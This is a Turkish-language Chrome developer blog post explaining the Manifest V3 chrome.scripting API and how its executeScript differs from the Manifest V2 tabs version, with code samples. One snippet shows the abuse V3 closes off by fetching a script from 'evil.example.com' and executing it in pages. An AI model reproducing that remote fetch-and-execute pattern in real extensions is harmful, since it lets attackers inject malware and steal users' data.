chrome.scripting tanıtımı

Manifest V3, Chrome'un uzantı platformunda bir dizi değişiklik sunmaktadır. Bu yayında, en önemli değişikliklerden biri olan chrome.scripting API'nin kullanıma sunulmasıyla ortaya çıkan motivasyonları ve değişiklikleri keşfedeceğiz.

chrome.scripting nedir?

Adından da anlaşılabileceği gibi, chrome.scripting Manifest V3'te sunulan, komut dosyası ve stil ekleme özelliklerinden sorumlu olan yeni bir ad alanıdır.

Geçmişte Chrome uzantıları oluşturmuş geliştiriciler, Tabs API'deki chrome.tabs.executeScript ve chrome.tabs.insertCSS gibi Manifest V2 yöntemlerine aşina olabilirler. Bu yöntemler, uzantıların sayfalara komut dosyaları ve stil sayfaları yerleştirmesine olanak tanır. Manifest V3'te bu özellikler chrome.scripting konumuna taşındı ve gelecekte bu API'nin kapsamını bazı yeni özelliklerle genişletmeyi planlıyoruz.

Neden yeni bir API oluşturmalısınız?

Böyle bir değişiklik olduğunda, akla ilk gelen sorulardan biri "neden?" olur.

Chrome ekibinin, komut dosyası için yeni bir ad alanı eklemeye karar vermesine birkaç farklı faktör neden oldu. Öncelikle, Tabs API, özellikler için biraz gereksiz bir çekmecedir. İkinci olarak, mevcut executeScript API'de önemli değişiklikler yapmamız gerekiyordu. Üçüncü olarak, uzantıların komut dosyası becerilerini genişletmek istediğimizi biliyorduk. Bu endişeler bir araya geldiğinde, komut dosyası oluşturma özelliklerini barındırmak için yeni bir ad alanına olan ihtiyacı açıkça belirtiyordu.

Gereksiz çekmece

Son birkaç yıldır Uzantılar Ekibi'ni rahatsız eden sorunlardan biri, chrome.tabs API'nin aşırı yüklü olmasıdır. Bu API ilk kez kullanıma sunulduğunda, sağladığı özelliklerin çoğu genel tarayıcı sekmesi konseptiyle ilgiliydi. Ancak o noktada bile bir sürü özelliktı ve bu koleksiyon yıllar içinde daha da büyüdü.

Manifest V3 kullanıma sunulduğunda Tabs API; temel sekme yönetimi, seçim yönetimi, pencere organizasyonu, mesajlaşma, yakınlaştırma denetimi, temel gezinme, komut dosyası çalıştırma ve daha küçük birkaç özelliği daha kapsayacak şekilde büyümüştü. Tüm bunlar önemli olmakla birlikte, platformun bakımını yapıp geliştirici topluluğundan gelen talepleri değerlendirdiğimiz süreçte, geliştiriciler başlangıç aşamasında ve Chrome ekibi için biraz yorucu olabilir.

Karmaşık bir faktör de tabs izninin iyi anlaşılmamış olmasıdır. Diğer birçok izin belirli bir API'ye (ör. storage) erişimi kısıtlasa da bu izin, uzantının yalnızca Sekme örneklerindeki hassas özelliklere erişmesine izin vermesi (ve uzantı tarafından Windows API'yi de etkilemesi) açısından biraz kullanışlıdır. Elbette birçok uzantı geliştiricisi, Tabs API'deki chrome.tabs.create veya daha doğrusu chrome.tabs.executeScript gibi yöntemlere erişmek için yanlışlıkla bu izne ihtiyaç duyduklarını düşünüyor. İşlevi Tabs API'nin dışına taşımak bu kafa karışıklığının bir kısmını gidermeye yardımcı olur.

Zarar veren değişiklikler

Manifest V3'ü tasarlarken ele almak istediğimiz önemli sorunlardan biri, "uzaktan barındırılan kod" tarafından etkinleştirilen kötüye kullanım ve kötü amaçlı yazılımdı. Bu, yürütülen ancak uzantı paketine dahil edilmeyen koddu. Kötüye kullanan uzantı yazarlarının kullanıcı verilerini çalmak, kötü amaçlı yazılım yerleştirmek ve tespiti önlemek için uzak sunuculardan getirilen komut dosyalarını yürütmesi yaygın bir durumdur. İyi oyuncular da bu özelliği kullansalar da, olduğu gibi kalmanın çok tehlikeli olduğunu düşündük.

Uzantıların gruplanmamış kodu yürütebileceği birkaç farklı yol vardır ancak buradaki uygun yöntem Manifest V2 chrome.tabs.executeScript yöntemidir. Bu yöntem, bir uzantının hedef sekmede rastgele bir kod dizesini yürütmesine olanak tanır. Bu da kötü amaçlı bir geliştiricinin uzak bir sunucudan rastgele bir komut dosyası getirip uzantının erişebildiği tüm sayfalarda çalıştırabileceği anlamına gelir. Uzak kod sorununu çözmek istersek bu özelliği kaldırmamız gerektiğini biliyorduk.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

Ayrıca Manifest V2 sürümünün tasarımıyla ilgili daha incelikli bazı sorunları da gidermek ve API'yi daha şık ve tahmin edilebilir bir araç haline getirmek istedik.

Tabs API'de bu yöntemin imzasını değiştirebilirdik, ancak bu zarar veren değişiklikler ve yeni özelliklerin kullanıma sunulması (bir sonraki bölümde ele alınır) arasında herkesin rahatça ara verebileceğini düşündük.

Komut dosyası çalıştırma becerilerini artırma

Manifest V3 tasarım sürecine eklenen bir başka unsur da Chrome'un uzantı platformuna komut dosyası çalıştırma konusunda ek özellikler ekleme isteğiydi. Özellikle, dinamik içerik komut dosyaları için destek eklemek ve executeScript yönteminin olanaklarını genişletmek istedik.

Dinamik içerik komut dosyaları desteği, Chromium'da uzun süredir talep edilen bir özellikti. Manifest V2 ve V3 Chrome uzantıları şu anda manifest.json dosyalarında içerik komut dosyalarını yalnızca statik olarak beyan edebilmektedir. Platform, çalışma zamanında yeni içerik komut dosyaları kaydetmek, içerik komut dosyası kaydında ince ayar yapmak veya içerik komut dosyalarının kaydını silmek için bir yol sunmamaktadır.

Bu özellik isteğini Manifest V3'te ele almak istediğimizi biliyorduk ancak mevcut API'lerimizden hiçbiri doğru bir yer gibi hissetmedi. Ayrıca Content Scripts API'de Firefox ile uyumlu olmayı değerlendirmiştik, ancak çok erken saatlerde bu yaklaşımın birkaç büyük dezavantajı olduğunu tespit ettik. Öncelikle, imzalarımızın uyumsuz olacağını (ör. code özelliği için desteğin kesilmesi) biliyorduk. İkinci olarak, API'mizin farklı tasarım kısıtlamaları vardı (ör. bir hizmet çalışanının ömrü boyunca dayanması için kayda ihtiyaç duyulması). Son olarak, bu ad alanı, uzantılarda komut dosyası oluşturmayı daha kapsamlı olarak ele aldığımız içerik komut dosyası işlevine de bizi cesaretlendirir.

executeScript tarafında, bu API'nin yapabileceklerini, Tabs API sürümünün desteklediğinden daha fazlasını içerecek şekilde genişletmek de istedik. Daha net açıklamak gerekirse; işlevleri ve bağımsız değişkenleri desteklemek, belirli çerçeveleri daha kolay hedeflemek ve "sekme dışı" bağlamları hedeflemek istedik.

İleride, uzantıların yüklü PWA'larla ve kavramsal olarak "sekmelere" eşlenmeyen diğer bağlamlarla nasıl etkileşim kurabileceğini de düşünüyoruz.

tab.executeScript vescripting.executeScript arasındaki değişiklikler

Bu yayının geri kalanında, chrome.tabs.executeScript ile chrome.scripting.executeScript arasındaki benzerlik ve farklılıkları daha yakından incelemek istiyorum.

Bağımsız değişkenler içeren bir işlev yerleştirme

Uzaktan barındırılan kod kısıtlamaları nedeniyle platformun nasıl gelişmesi gerektiğini düşünürken, rastgele kod yürütmenin ham gücü ile yalnızca statik içerik komut dosyalarına izin verme arasında bir denge kurmak istedik. Uyguladığımız çözüm, uzantıların içerik komut dosyası olarak işlev eklemesine ve bağımsız değişken olarak bir dizi değeri iletmesine izin vermekti.

Şimdi (aşırı basitleştirilmiş) bir örneğe göz atalım. Kullanıcı, uzantının işlem düğmesini (araç çubuğundaki simge) tıkladığında kullanıcıyı adıyla karşılayan bir komut dosyası yerleştirmek istediğinizi varsayalım. Manifest V2'de, dinamik olarak bir kod dizesi oluşturabilir ve bu komut dosyasını geçerli sayfada çalıştırabiliriz.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Manifest V3 uzantıları, uzantıyla birlikte paketlenmeyen kodu kullanamaz. Ancak amacımız, Manifest V2 uzantılarının sağladığı rastgele kod bloklarının sağladığı dinamizmin bir kısmını korumaktı. İşlev ve bağımsız değişkenler yaklaşımı, Chrome Web Mağazası incelemecilerinin, kullanıcıların ve ilgili diğer tarafların bir uzantının yarattığı riskleri daha doğru bir şekilde değerlendirmesini sağlarken, geliştiricilerin bir uzantının çalışma zamanı davranışını kullanıcı ayarlarına veya uygulama durumuna göre değiştirmesine de olanak tanır.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Hedefleme çerçeveleri

Ayrıca, geliştiricilerin düzeltilmiş API'deki çerçevelerle etkileşimde bulunma şeklini iyileştirmek de istedik. executeScript Manifest V2 sürümü, geliştiricilerin bir sekmedeki tüm kareleri veya sekmedeki belirli bir çerçeveyi hedeflemesine olanak tanıyordu. Bir sekmedeki tüm karelerin listesini almak için chrome.webNavigation.getAllFrames öğesini kullanabilirsiniz.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

Manifest V3'te, options nesnesindeki isteğe bağlı frameId tamsayı özelliğini isteğe bağlı bir frameIds tam sayı dizisiyle değiştirdik. Bu, geliştiricilerin tek bir API çağrısında birden fazla kareyi hedeflemesine olanak tanır.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Komut dosyası yerleştirme sonuçları

Manifest V3'te komut dosyası yerleştirme sonuçlarını döndürme şeklimizi de iyileştirdik. "Sonuç" temel olarak bir komut dosyasında değerlendirilen nihai ifadedir. Bunu, eval() çağrısı yaptığınızda veya Chrome Geliştirici Araçları konsolunda bir kod bloğunu yürüttüğünüzde döndürülen, ancak sonuçları işlemler arasında iletmek için serileştirilmiş değer olarak düşünebilirsiniz.

Manifest V2'de, executeScript ve insertCSS bir dizi düz yürütme sonucu döndürür. Bu, yalnızca tek bir ekleme noktanız varsa sorun oluşturmaz ancak birden fazla çerçeveye ekleme yaparken sonuç sırası garanti edilmez. Bu nedenle, hangi sonucun hangi çerçeveyle ilişkili olduğunu anlamanın bir yolu yoktur.

Somut bir örnek olarak, bir Manifest V2 ve aynı uzantının bir Manifest V3 sürümü tarafından döndürülen results dizilerine göz atalım. Uzantının her iki sürümü de aynı içerik komut dosyasını ekler ve aynı demo sayfasında sonuçları karşılaştırırız.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Manifest V2 sürümünü çalıştırdığımızda [1, 0, 5] değerini geri alırız. Hangi sonuç ana çerçeveye, hangi sonuç iframe'e karşılık gelir? Döndürülen değer bize söylemez, bu yüzden emin olabiliriz.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

Manifest V3 sürümünde results, artık yalnızca değerlendirme sonuçları dizisi yerine bir sonuç nesnelerinden oluşan bir dizi içerir ve sonuç nesneleri her sonuç için çerçevenin kimliğini açıkça tanımlar. Bu, geliştiricilerin sonuçtan yararlanmalarını ve belirli bir çerçevede işlem yapmalarını çok daha kolay hale getirir.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Son adım

Manifest sürümlerindeki yükselişler, uzantı API'lerini yeniden düşünmek ve modernleştirmek için nadir bir fırsat sunar. Manifest V3 ile hedefimiz, uzantıları daha güvenli hale getirirken geliştirici deneyimini de iyileştirerek son kullanıcı deneyimini iyileştirmektir. Manifest V3'te chrome.scripting hizmetini kullanıma sunarak; Tabs API'nin temizlenmesine, executeScript hizmetinin daha güvenli bir uzantı platformu için yeniden tasarlanmasına ve bu yılın ilerleyen dönemlerinde kullanıma sunulacak yeni komut dosyası özelliklerinin temel hazırlığının yapılmasına yardımcı olabildik.